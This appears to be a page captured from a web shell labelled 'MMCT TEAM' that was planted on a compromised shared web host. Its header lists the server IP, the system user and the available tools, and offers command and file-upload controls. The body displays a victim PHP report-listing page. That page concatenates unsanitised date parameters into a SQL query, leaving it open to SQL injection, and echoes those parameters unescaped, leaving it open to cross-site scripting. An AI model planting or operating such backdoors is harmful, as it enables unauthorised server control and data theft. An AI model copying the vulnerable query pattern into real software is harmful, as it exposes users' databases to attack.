MMCT TEAM

Server IP : 162.214.80.37 / Your IP : 216.73.216.68
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON
Directory (0755) : /home2/imyrqtmy/www/dts/vendor/
[ Home ]	[ C0mmand ]	[ Upload File ]
Current File : /home2/imyrqtmy/www/dts/vendor/report-list.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("inc/config.php");;
 
?>

<!DOCTYPE html>
<html lang="en">
    
<?php require "inc/head.php"; ?>
    <body>
        <!-- header-->
        <?php require "inc/header.php"; ?>
        <!-- End Main-content Top bar-->

        <!-- main-content-->
        <div class="wrapper">
        <?php require "inc/sidebar.php"; ?>
        <div id="content">
            <div class="row">
            <?php

// Get start and end dates from input
$start_date = isset($_GET['start_date']) ? $_GET['start_date'] : '';
$end_date = isset($_GET['end_date']) ? $_GET['end_date'] : '';

// Base Query
$query = "SELECT * FROM projects WHERE 1";

// Apply Date Range Filter
if (!empty($start_date) && !empty($end_date)) {
    $query .= " AND project_start BETWEEN '$start_date' AND '$end_date'";
}

$query_run = mysqli_query($conn, $query);
?>

<div class="col-12 col-sm-12">
    <div class="row">
        <div class="col-12 col-md-12">
            <div class="card redial-border-light redial-shadow">
                <div class="card-body">
                    <h6 class="header-title pl-3 redial-relative">Products</h6>

                    <!-- Filter Form -->
                    <form method="GET" action="">
                        <div class="row mb-3">
                            <!-- Start Date -->
                            <div class="col-md-3">
                                <label for="start_date">Start Date:</label>
                                <input type="date" name="start_date" id="start_date" class="form-control" 
                                       value="<?php echo $start_date; ?>">
                            </div>

                            <!-- End Date -->
                            <div class="col-md-3">
                                <label for="end_date">End Date:</label>
                                <input type="date" name="end_date" id="end_date" class="form-control" 
                                       value="<?php echo $end_date; ?>">
                            </div>

                            <!-- Filter Button -->
                            <div class="col-md-3">
                                <button type="submit" class="btn btn-primary mt-4">Filter</button>
                            </div>
                        </div>
                    </form>

                    <table class="table table-striped table-hover mb-0">
                        <thead>
                            <tr>
                                <th>ID</th>
                                <th>Project Name</th>
                                <th>Start Date</th>
                                <th>Report</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php
                            if (mysqli_num_rows($query_run) > 0) {
                                foreach ($query_run as $row) {
                                    ?>
                                    <tr>
                                        <td><?php echo $row['id']; ?></td>
                                        <td><?php echo $row['project_name']; ?></td>
                                        <td><?php echo $row['project_start']; ?></td>
                                        <td>
                                            <span class="badge badge-danger text-white">
                                                <a href="report.php?id=<?php echo $row['id']; ?>" class="text-white">Report</a>
                                            </span>
                                        </td>
                                    </tr>
                                <?php }
                            } else {
                                echo "<tr><td colspan='4' class='text-center'>No projects found for the selected date range.</td></tr>";
                            }
                            ?>
                        </tbody>
                    </table>

                </div>
            </div>
        </div>
    </div>
</div>

            </div>    
        </div>
        </div>
        <!-- End main-content-->

        <!-- Top To Bottom-->
        <a href="#" class="scrollup text-center redial-bg-primary redial-rounded-circle-50"> 
            <h4 class="text-white mb-0"><i class="icofont icofont-long-arrow-up"></i></h4>
        </a>
        <!-- End Top To Bottom-->

        <!-- Chat-->
     
        <!-- End Chat-->
        
        <!-- jQuery -->
        <script src="dist/js/plugins.min.js"></script>        
        <script src="dist/js/common.js"></script>
    </body>
</html>
MMCT - 2023